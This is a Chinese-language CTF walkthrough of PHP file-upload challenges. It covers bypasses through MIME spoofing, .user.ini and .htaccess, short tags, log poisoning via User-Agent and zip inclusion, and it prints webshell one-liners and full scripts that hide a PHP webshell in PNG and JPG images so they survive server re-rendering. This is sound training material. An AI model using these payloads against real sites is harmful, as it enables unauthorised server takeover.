Web151(前端验证是无效的)
进入页面只让我们上传png格式的图片,我们只需要burpsuite抓包,然后用burpsuite发送绕过前端即可
最后蚁剑连接,读取flag:
Web152(服务端MIME类)
解法和上一题一样,先上传个png,然后抓包:
把content-type改为png的格式即可
这里content-type的类型有:
- image/png
- image/gif
- jpg image/jpeg
最后蚁剑连接即可
Web153(.user.ini利用)
这题后端改后缀不行,文件头也不行
这一题要用.user.ini配置文件,和.htaccess类似
但是有区别,.user.ini在nginx或者Apache都可以用,而.htaccess只可以用在Apache里
用法也几乎相似:
上传png文件后抓包,再跟着上传一个.user.ini文件:
之后直接URL+/upload就可以自动解析该文件了,这个触发需要有php
文件,由于upload文件夹下有个index.php,所以可以使用
这里也可以看看他文件上传的php源码:
可以看到是把php拉入了黑名单的,所以其他方法行不通,这里后缀名只要不等于php都可以上传,然后文件类型改MIME就可以了!
Web154(短标签+.user.ini)
抓个包:
发现即使上传后缀名为png的也会失败,提示是说,文件内容出错,也就是说ban掉了什么关键字
经过测试发现是ban掉了php:
可以看到只要去掉了个p就可以继续上传了,这里就要用到短标签了:
- ?>
前提是开启配置参数short_open_tags=on
- = ?>等价于 echo ?>
不需要开启参数设置
- <% echo 123;%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
不需要修改参数开关,但是只能在7.0以下可用。
随便选一种改一下,然后再上传.user.ini,最后和web153就可以蚁剑连接进去了:
查看一下源码:
可以看到这边ban了php这个字符串
Web155(同上)
解法一致
Web156(同上)
多ban了我们的[符号
我们用中括号{}是等效的
Web157(rce)
这里在上一题的基础上ban掉了{,[,;
所以这里用不了一句话木马,那就改变思路,直接RCE了
在png文件里写内容:
在写入.user.ini文件即可
Web158(同上)
解法一致
Web159(同上)
在上一题的基础上又ban掉了括号(
这样的话就用不了system和exec类的了
我们用echo
就好了
Web160(包含日志文件)
上一题的基础上ban了反引号`和log和空格
ban了log但是我们还是可以使用日志文件
我们在1.png里写下:include “/var/lo”.”g/nginx/access.lo”.”g”即可
用连接符和tab分别绕过
然后再user-agent里写下一句话木马
用蚁剑连接即可
Web161(包含日志+文件头)
再次基础上加上了文件头验证
然后在user-agnet随便调个马上传,蚁剑连接即可
可以看到getimagesize函数
Web162(远程文件包含或者条件竞争)
无法做出题解,网站有问题
参考https://blog.csdn.net/weixin_46081055/article/details/123506816
Web163(条件竞争)
无法做出题解,网站有问题
参考https://blog.csdn.net/weixin_46081055/article/details/123506816
Web164(PNG图片二次渲染)
那那那那那啥,这一题刚开始有点懵逼,理回来了,因为涉及了盲区
好,入题:
这一题是什么情况呢,你会发现你传的假png图片不行了,你加文件头也没用:
那这就困扰了,那是不是没办法了呢?
上传一张图片木马看看:
进入了如下的页面,然后下载这张图片看看源码:
本应在尾部的一句话木马给刷掉了,说明这里存在二次渲染,国外大佬给的脚本生成一个图片马,可以防止被刷掉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); }
imagepng($img,'./1.png'); ?>
|
查看这个图片源码:
可以看到中间夹了个木马,这样就可以在网站二次渲染这图片的时候运行代码,进入上传目录:
然后抓个包:
可以看到命令成功执行,接下来一步步读取答案即可!
出于好奇把源码考下来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if(in_array($ext_suffix, array("png"))){ $png = imagecreatefrompng($_FILES["file"]["tmp_name"]); if($png==FALSE){ $ret = array("code"=>2,"msg"=>"文件类型不合规"); }else{ $dst = 'upload/'.md5($_FILES["file"]["name"]).".png"; imagepng($png,$dst); $ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".png"); } }else{ $ret = array("code"=>3,"msg"=>"只允许上传png格式图片"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }
}
echo json_encode($ret);
|
在里面可以看到imagecreatefrompng
函数,该函数可以由一个文件创造新的png图片
成功后返回图象对象,失败后返回 false。
imagepng
函数可以 以 PNG 格式将图像输出到浏览器或文件,也就是把图片解析出来
这就是PNG图片二次渲染的步骤
Web165(JPG图片二次渲染)
题目逐渐走样,这次上传png正常图片无效
上传jpg正常图片有效,抓个包后发现:
可以看到有个ATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
这是JPG二次渲染的痕迹,说明这一题是JPG二次渲染
面对这样的基霸题,还是用大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| <?php $miniPayload = "<?=eval(\$_POST[7]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
|
用这个脚本去渲染你的JPG图片
注意:这里我们要渲染的JPG文件,首先应该上传至网站,然后再网站的上传路径,再次下载,这样做的目的是使得我们用脚本渲染时,改动的地方尽量缩小,使得我们的木马可以更大可能的保留
之后直接php 脚本.php 你的图片
,最后会生成一个payload_你的图片,我们上传脚本跑出来的图片,抓包:
得到了回显,接下来蚁剑直连即可:
Web166(ZIP)
发现无法上传图片文件,点开网页源码查看:
要上传压缩包,上传之后会进入下载页面:
这应该是被文件包含了,我们直接在压缩包文件尾部写上一句话木马,然后用蚁剑上号
Web167(.htaccess利用)
进入页面查看源码后会发现只让上传JPG文件,正常上传一个后:
会显示出来,这里为了看看是不是二次渲染,我这张图片加了一句话木马,然后把他下载下来,发现一句话木马仍然在,说明没有二次渲染
这道题只是没有解析我们的jpg图片,得想办法解析这个文件,BURPSUITE先抓个包:
上传.htaccess文件发现可行,之后再次访问该图片:
已经给解析了,蚁剑上号
Web168(基础免杀)
进入网页提示上传png格式文件,上传一个图片马上去,发现里面有些内容被ban了无法正常上传
发现居然可以上传php文件,那我们不就直接构造1.php文件
经过测试发现是ban了eval,system等一系列函数
我们首先使用var_dump(scandir(‘.’))去查看当前目录的文件:
发现什么也没有,查看../发现有flag和flagaa文件,盲猜flagaa是真的。
include被ban了,用show_source(‘../flagaa.php’)去读取flag文件:
payload2:
使用<?php $_REQUEST[0]($_REQUEST[1]);?>
写进1.php之后访问
Web169(包含日志)
前端提示上传zip文件,可以上传一个正常zip文件,或者改一下前端代码,之后burpsuite抓包,发现验证的是MIME类型的PNG,对后缀名没什么要求,上传.user.ini:
因为触发user.ini需要访问php文件,再上传一个1.php,内容随便写什么,空的都可以
之后访问url+/upload/1.php后就会发现我们的日志文件被包含了
在user-agent里写入一句话木马,蚁剑上号:
窥探一眼源代码
Web170(同上)
结束
Uploader(Hnusec)
正如其名,鉴定为文件上传类型的
进入页面先要让我们登入一个账号,随便登入一个进去:
到达了文件上传界面,这里我上传了个假的png图片,但是被识别掉了,说明这个识别的是文件头
所以我上传了一个一句话木马带png文件头的php文件:
上传成功,点进源代码查看:
发现后缀名又被改成了png!这里也尝试了双写绕过,发现代码是将整个后缀名直接变成png
也尝试了burp改包,但是发送过去后不会有回显,黔驴技穷的时候看到了个东西:
好家伙躲这里呢,这是一个提示文件,直接URL/hint.zip下载查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php if ($_FILES['file']['size'] > 200000) { error('Uploaded file is too large.'); } // check file type $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($type, ['image/png'])) { error('Uploaded file is not PNG format.'); } // check file width/height $size = getimagesize($_FILES['file']['tmp_name']); if ($size[0] > 250 || $size[1] > 250) { error('Uploaded image is too large.'); } if ($size[2] !== IMAGETYPE_PNG) { error('What happened...? OK, the flag is: <code>' . getenv('FLAG1') . '</code>'); }
|
这是文件内容,这里有很多陌生的函数不过问题不大
- in_array:查看字符串中是否包括某字符
- finfio_open:打开文件
- finfo_file():返回一个文件的信息(finfo_open函数主要是检查十六进制的第一行信息)
- Getimagesize():是PHP提供的方法,用以判断目标文件是否为图片。其返回结果中有文件大小和文件类型(通过读取文件的前八位的十六进制)。
在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回个数组
也就是说要finfo_file()识别为png,而getimagesize()不识别为png我们打开010editor构造一个16进制文件:
将普通png图片的第一行(文件头)放入新建的文件中:
我们第二行不放任何信息,来让getimagesize()出错返回false,从而逃过了getimagesize函数!!
之后将文件保存为png格式,上传:
答案直接就蹦出来了!